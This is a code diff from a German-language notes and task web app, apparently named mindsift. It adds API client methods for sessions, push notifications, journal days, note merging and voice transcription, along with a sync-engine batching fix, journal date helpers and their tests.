it('server mode with live=true: cuts segments onto new MediaRecorders on the same stream, orders out-of-order responses by chunk index, and releases stream at the end', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
const resolvers: Array<(text: string) => void> = [];
transcribe.mockImplementation(
() =>
new Promise<string>((resolve) => {
resolvers.push(resolve);
})
);
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText, live: true }));
await waitFor(() => expect(result.current.mode).toBe('server'));
vi.useFakeTimers();
await act(async () => {
await result.current.start();
});
// Advance 8s -> segment 0 is cut and sent to transcribe, stream is NOT released yet
await act(async () => {
await vi.advanceTimersByTimeAsync(8000);
});
expect(transcribe).toHaveBeenCalledTimes(1);
expect(stopTrack).not.toHaveBeenCalled();
// Advance 4s and stop -> segment 1 (final) is sent to transcribe, stream IS released now
await act(async () => {
await vi.advanceTimersByTimeAsync(4000);
await result.current.stop();
});
expect(transcribe).toHaveBeenCalledTimes(2);
expect(stopTrack).toHaveBeenCalledTimes(1);
// Resolve chunk 1 BEFORE chunk 0 to verify index-based ordering
await act(async () => {
resolvers[1]('zweiter Teil');
});
expect(onText).toHaveBeenLastCalledWith('zweiter Teil', false);
// Now resolve chunk 0 -> both chunks are done, ordered "Erster Teil zweiter Teil" with final=true
await act(async () => {
resolvers[0]('Erster Teil');
});
expect(onText).toHaveBeenLastCalledWith('Erster Teil zweiter Teil', true);
expect(result.current.state).toBe('idle');
});
});
@@ -0,0 +1,21 @@
import { describe, it, expect } from 'vitest';
import { buildBlockLink, parseWikiLink, wikiLinkText } from '../wikiLink';
describe('wiki links', () => {
it('parses plain, labelled, section and bullet links', () => {
expect(parseWikiLink('Homelab')).toEqual({ title: 'Homelab', blockId: undefined, label: undefined });
expect(parseWikiLink('Homelab|hier')).toEqual({ title: 'Homelab', blockId: undefined, label: 'hier' });
expect(parseWikiLink('Homelab#Abschnitt')).toEqual({ title: 'Homelab', blockId: undefined, label: undefined });
expect(parseWikiLink('Homelab#^blk_a_1|Homelab › Backup')).toEqual({
title: 'Homelab', blockId: 'blk_a_1', label: 'Homelab › Backup',
});
});
it('builds a bullet link that parses back', () => {
const link = buildBlockLink('Homelab [neu]', 'blk_x', 'Backups liefen bisher nur manuell – das soll sich ändern #backup');
expect(link).toBe('[[Homelab neu#^blk_x|Homelab neu › Backups liefen bisher nur manuell – das…]]');
const parsed = parseWikiLink(link.slice(2, -2));
expect(parsed.blockId).toBe('blk_x');
expect(wikiLinkText(parsed)).toBe('Homelab neu › Backups liefen bisher nur manuell – das…');
});
});
+123
View File
@@ -4,6 +4,8 @@ import {
DashboardStats, DashboardStats,
Document, Document,
TrashedDocument, TrashedDocument,
JournalDay,
PushDevice,
BackupFile, BackupFile,
DataSection, DataSection,
ApiKeyScope, ApiKeyScope,
@@ -27,6 +29,7 @@ import {
Team, Team,
TaskList, TaskList,
TaskListShare, TaskListShare,
Session,
Thought, Thought,
SubTask, SubTask,
SearchResults, SearchResults,
@@ -34,6 +37,9 @@ import {
TagSummary, TagSummary,
User, User,
UserInvite, UserInvite,
NotificationSettings,
VoiceAdminStatus,
MergeResult,
WSMessage, WSMessage,
} from './types'; } from './types';
import { extractHashtags } from './hashtags'; import { extractHashtags } from './hashtags';
@@ -145,6 +151,10 @@ async function request<T>(path: string, options: RequestInit = {}): Promise<T> {
window.dispatchEvent(new CustomEvent('mindsift:unauthorized')); window.dispatchEvent(new CustomEvent('mindsift:unauthorized'));
} }
// Sliding session: the server hands out a fresh token once a day (or after a password change)
const renewed = res.headers.get('X-Session-Token');
if (renewed && res.ok) setToken(renewed);
if (!res.ok) { if (!res.ok) {
let errMsg = `HTTP ${res.status}`; let errMsg = `HTTP ${res.status}`;
try { try {
@@ -209,6 +219,14 @@ export const api = {
} }
}, },
async listSessions(): Promise<Session[]> {
return ensureArray(await request<Session[]>('/api/v1/auth/sessions'));
},
async endSession(id: string): Promise<void> {
await request(`/api/v1/auth/sessions/${encodeURIComponent(id)}`, { method: 'DELETE' });
},
async revokeAllSessions(): Promise<void> { async revokeAllSessions(): Promise<void> {
await request<{ success: boolean }>('/api/v1/auth/revoke-all', { method: 'POST' }); await request<{ success: boolean }>('/api/v1/auth/revoke-all', { method: 'POST' });
}, },
@@ -270,12 +288,14 @@ export const api = {
displayName?: string; displayName?: string;
email?: string; email?: string;
password?: string; password?: string;
currentPassword?: string;
avatarUrl?: string; avatarUrl?: string;
alarmChannels?: string[]; alarmChannels?: string[];
alarmEmail?: string; alarmEmail?: string;
discordWebhookUrl?: string; discordWebhookUrl?: string;
customWebhookUrl?: string; customWebhookUrl?: string;
notifyBeforeMinutes?: number; notifyBeforeMinutes?: number;
notificationSettings?: NotificationSettings;
}): Promise<User> { }): Promise<User> {
return request<User>('/api/v1/auth/settings', { return request<User>('/api/v1/auth/settings', {
method: 'PATCH', method: 'PATCH',
@@ -394,6 +414,18 @@ export const api = {
return ensureArray(res); return ensureArray(res);
}, },
async watchTask(taskId: string): Promise<{ watching: boolean }> {
return request<{ watching: boolean }>(`/api/v1/tasks/${encodeURIComponent(taskId)}/watch`, {
method: 'POST',
});
},
async unwatchTask(taskId: string): Promise<{ watching: boolean }> {
return request<{ watching: boolean }>(`/api/v1/tasks/${encodeURIComponent(taskId)}/watch`, {
method: 'DELETE',
});
},
async reorderTasks(items: { id: string; sortOrder: number; kanbanStatus?: string }[], taskListId?: string): Promise<{ success: boolean }> { async reorderTasks(items: { id: string; sortOrder: number; kanbanStatus?: string }[], taskListId?: string): Promise<{ success: boolean }> {
const url = taskListId ? `/api/v1/task-lists/${taskListId}/tasks/reorder` : '/api/v1/tasks/reorder'; const url = taskListId ? `/api/v1/task-lists/${taskListId}/tasks/reorder` : '/api/v1/tasks/reorder';
return request<{ success: boolean }>(url, { return request<{ success: boolean }>(url, {
@@ -693,6 +725,66 @@ export const api = {
return request<TrashedDocument[]>('/api/v1/documents/trash'); return request<TrashedDocument[]>('/api/v1/documents/trash');
}, },
async getPushKey(): Promise<{ enabled: boolean; publicKey?: string }> {
return request('/api/v1/push/key');
},
async getPushDevices(): Promise<PushDevice[]> {
const res = await request<{ devices: PushDevice[] }>('/api/v1/push/devices');
return res.devices || [];
},
async subscribePush(sub: PushSubscriptionJSON, device: string): Promise<void> {
await request('/api/v1/push/subscribe', { method: 'POST', body: JSON.stringify({ ...sub, device }) });
},
async unsubscribePush(endpoint: string): Promise<void> {
await request('/api/v1/push/unsubscribe', { method: 'POST', body: JSON.stringify({ endpoint }) });
},
async testPush(): Promise<{ devices: number }> {
return request('/api/v1/push/test', { method: 'POST' });
},
/** Days of the own journal (newest first) with their notes. */
async getJournal(): Promise<JournalDay[]> {
const res = await request<{ days: JournalDay[] }>('/api/v1/journal');
return res.days || [];
},
/** The note of a journal day (YYYY-MM-DD); created on first use. */
async openJournalDay(date: string): Promise<Document> {
return request<Document>(`/api/v1/journal/${date}`, { method: 'POST' });
},
/** Creates a note from a bullet's children; the editor then replaces the branch by `link` itself. */
async extractBranch(docId: string, blockId: string, clientId: string): Promise<{ document: Document; link: string }> {
return request<{ document: Document; link: string }>(`/api/v1/documents/${docId}/extract`, {
method: 'POST',
body: JSON.stringify({ blockId, clientId }),
});
},
/** Puts a note created by extractBranch into the trash again. */
async undoExtract(newDocId: string): Promise<void> {
await request(`/api/v1/documents/${newDocId}/extract/undo`, { method: 'POST' });
},
/** Appends the source note to the target; the source goes to the trash. */
async mergeDocuments(targetId: string, sourceId: string): Promise<MergeResult> {
return request<MergeResult>(`/api/v1/documents/${targetId}/merge`, {
method: 'POST',
body: JSON.stringify({ sourceId }),
});
},
async undoMerge(m: MergeResult): Promise<void> {
await request(`/api/v1/documents/${m.targetId}/merge/undo`, {
method: 'POST',
body: JSON.stringify({ sourceId: m.sourceId, headingId: m.headingId }),
});
},
async restoreDocument(id: string): Promise<void> { async restoreDocument(id: string): Promise<void> {
await request(`/api/v1/documents/${id}/restore`, { method: 'POST' }); await request(`/api/v1/documents/${id}/restore`, { method: 'POST' });
}, },
@@ -902,6 +994,13 @@ export const api = {
await request(`/api/v1/lists/${listId}/items/${itemId}`, { method: 'DELETE' }); await request(`/api/v1/lists/${listId}/items/${itemId}`, { method: 'DELETE' });
}, },
async moveListItem(listId: string, itemId: string, targetListId: string): Promise<ListItem> {
return request<ListItem>(`/api/v1/lists/${listId}/items/${itemId}/move`, {
method: 'POST',
body: JSON.stringify({ targetListId }),
});
},
async clearCompletedItems(listId: string): Promise<{ removed: number }> { async clearCompletedItems(listId: string): Promise<{ removed: number }> {
return request<{ removed: number }>(`/api/v1/lists/${listId}/clear-completed`, { return request<{ removed: number }>(`/api/v1/lists/${listId}/clear-completed`, {
method: 'POST', method: 'POST',
@@ -1033,6 +1132,26 @@ export const api = {
await request(`/api/v1/admin/invites/${id}`, { method: 'DELETE' }); await request(`/api/v1/admin/invites/${id}`, { method: 'DELETE' });
}, },
async adminVoiceStatus(): Promise<VoiceAdminStatus> {
return request<VoiceAdminStatus>('/api/v1/admin/voice');
},
// Sends a recording to the own Whisper server (voice mode "server") and returns the text
async transcribe(audio: Blob): Promise<string> {
const token = getToken();
const ext = audio.type.includes('mp4') ? 'm4a' : audio.type.includes('ogg') ? 'ogg' : 'webm';
const form = new FormData();
form.append('file', audio, `aufnahme.${ext}`);
const res = await fetch('/api/v1/voice/transcribe', {
method: 'POST',
headers: token ? { Authorization: `Bearer ${token}` } : {},
body: form,
});
const data = await res.json().catch(() => ({}));
if (!res.ok) throw new Error(data.error || `Spracherkennung fehlgeschlagen (HTTP ${res.status})`);
return data.text || '';
},
async adminGetSettings(): Promise<SystemSettings> { async adminGetSettings(): Promise<SystemSettings> {
return request<SystemSettings>('/api/v1/admin/settings'); return request<SystemSettings>('/api/v1/admin/settings');
}, },
@@ -1186,6 +1305,10 @@ export const api = {
return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups', { method: 'POST' })); return ensureArray(await request<BackupFile[]>('/api/v1/admin/backups', { method: 'POST' }));
}, },
async adminDeleteBackup(name: string): Promise<BackupFile[]> {
return ensureArray(await request<BackupFile[]>(`/api/v1/admin/backups/${encodeURIComponent(name)}`, { method: 'DELETE' }));
},
async adminDownloadBackup(name: string): Promise<Blob> { async adminDownloadBackup(name: string): Promise<Blob> {
return downloadBlob(`/api/v1/admin/backups/${encodeURIComponent(name)}`); return downloadBlob(`/api/v1/admin/backups/${encodeURIComponent(name)}`);
}, },
@@ -335,6 +335,29 @@ describe('DocSyncEngine', () => {
expect(contents(a)).toEqual(expect.arrayContaining(['B hat geändert', 'Start + A'])); expect(contents(a)).toEqual(expect.arrayContaining(['B hat geändert', 'Start + A']));
}); });
it('typing in a rhythm (several edits per sync) causes no conflict with oneself', async () => {
const server = new FakeServer();
const net = new FakeNet(server);
const engine = await startEngine(net);
engine.focusBlock('b1');
// Pauses longer than the field's debounce but shorter than the sync debounce: several edits per sync
for (const text of ['S', 'Sc', 'Sch']) edit(engine, (b) => [{ ...b[0], content: text }]);
await engine.syncNow();
edit(engine, (b) => [{ ...b[0], content: 'Schr' }]);
edit(engine, (b) => [{ ...b[0], content: 'Schre' }]);
// More typing while the request is on the wire
net.duringRequest = () => edit(engine, (b) => [{ ...b[0], content: 'Schrei' }]);
await engine.syncNow();
edit(engine, (b) => [{ ...b[0], content: 'Schreib' }]);
await engine.syncNow();
edit(engine, (b) => [{ ...b[0], content: 'Schreibe' }]);
await engine.syncNow();
expect(engine.getState().conflicts).toEqual([]);
expect(serverContents(server)).toEqual(['Schreibe']);
expect(contents(engine)).toEqual(['Schreibe']);
});
it('viewers cannot change anything', async () => { it('viewers cannot change anything', async () => {
const server = new FakeServer(); const server = new FakeServer();
const viewer = await startEngine(new FakeNet(server, 'viewer')); const viewer = await startEngine(new FakeNet(server, 'viewer'));
+4 -1
View File
@@ -462,7 +462,10 @@ export class DocSyncEngine {
private recompute(): void { private recompute(): void {
const v = cloneDoc(this.confirmed); const v = cloneDoc(this.confirmed);
for (const op of [...(this.inflight || []), ...this.pending]) { // Pending ops count the way they will be sent: formBatch folds all text changes of a block into one,
// so the server raises its version once. Applying every keystroke here would number local versions
// ahead of the server, and the next edit of the focused block would conflict with the user's own text.
for (const op of [...(this.inflight || []), ...formBatch(this.pending)]) {
const local = { ...op }; const local = { ...op };
if (local.kind === 'set_content') local.baseVersion = v.blocks.get(local.blockId!)?.version ?? 0; if (local.kind === 'set_content') local.baseVersion = v.blocks.get(local.blockId!)?.version ?? 0;
if (local.kind === 'set_title') local.baseVersion = v.titleVersion; if (local.kind === 'set_title') local.baseVersion = v.titleVersion;
+82
View File
@@ -0,0 +1,82 @@
// Journal helpers: dates are local calendar days as YYYY-MM-DD (the server stores them as given).
export const JOURNAL_ENABLED_KEY = 'mindsift_journal_enabled';
export function isJournalEnabled(): boolean {
try {
return localStorage.getItem(JOURNAL_ENABLED_KEY) !== 'false';
} catch {
return true;
}
}
export function setJournalEnabled(on: boolean) {
try {
localStorage.setItem(JOURNAL_ENABLED_KEY, on ? 'true' : 'false');
} catch {
// storage blocked: the setting simply does not stick
}
}
export function toISODate(d: Date): string {
const m = String(d.getMonth() + 1).padStart(2, '0');
const day = String(d.getDate()).padStart(2, '0');
return `${d.getFullYear()}-${m}-${day}`;
}
export function todayISO(): string {
return toISODate(new Date());
}
export function parseISODate(date: string): Date {
const [y, m, d] = date.split('-').map(Number);
return new Date(y, (m || 1) - 1, d || 1);
}
export const MONTHS = [
'Januar', 'Februar', 'März', 'April', 'Mai', 'Juni',
'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember',
];
/** "Fr, 30. Okt. 2026" for compact labels */
export function shortDateLabel(date: string): string {
return parseISODate(date).toLocaleDateString('de-DE', {
weekday: 'short',
day: 'numeric',
month: 'short',
year: 'numeric',
});
}
/** Weeks of a month for a Monday-first grid; days outside the month are null. */
export function monthGrid(year: number, month: number): (string | null)[][] {
const first = new Date(year, month, 1);
const offset = (first.getDay() + 6) % 7; // Monday = 0
const daysInMonth = new Date(year, month + 1, 0).getDate();
const cells: (string | null)[] = Array(offset).fill(null);
for (let d = 1; d <= daysInMonth; d++) cells.push(toISODate(new Date(year, month, d)));
while (cells.length % 7 !== 0) cells.push(null);
const weeks: (string | null)[][] = [];
for (let i = 0; i < cells.length; i += 7) weeks.push(cells.slice(i, i + 7));
return weeks;
}
// Workspace state for this browser tab: is the journal open, which regular note was open last
const WORKSPACE_SESSION_KEY = 'mindsift_workspace_view';
export function readWorkspaceSession(): { journal: boolean; docId: string | null } {
try {
const raw = JSON.parse(sessionStorage.getItem(WORKSPACE_SESSION_KEY) || '{}');
return { journal: raw.journal === true, docId: typeof raw.docId === 'string' ? raw.docId : null };
} catch {
return { journal: false, docId: null };
}
}
export function writeWorkspaceSession(state: { journal: boolean; docId: string | null }) {
try {
sessionStorage.setItem(WORKSPACE_SESSION_KEY, JSON.stringify(state));
} catch {
// storage blocked: the view simply starts fresh
}
}
Loaded 100 of 216 files, more files were not shown because too many files have changed in this diff. Show more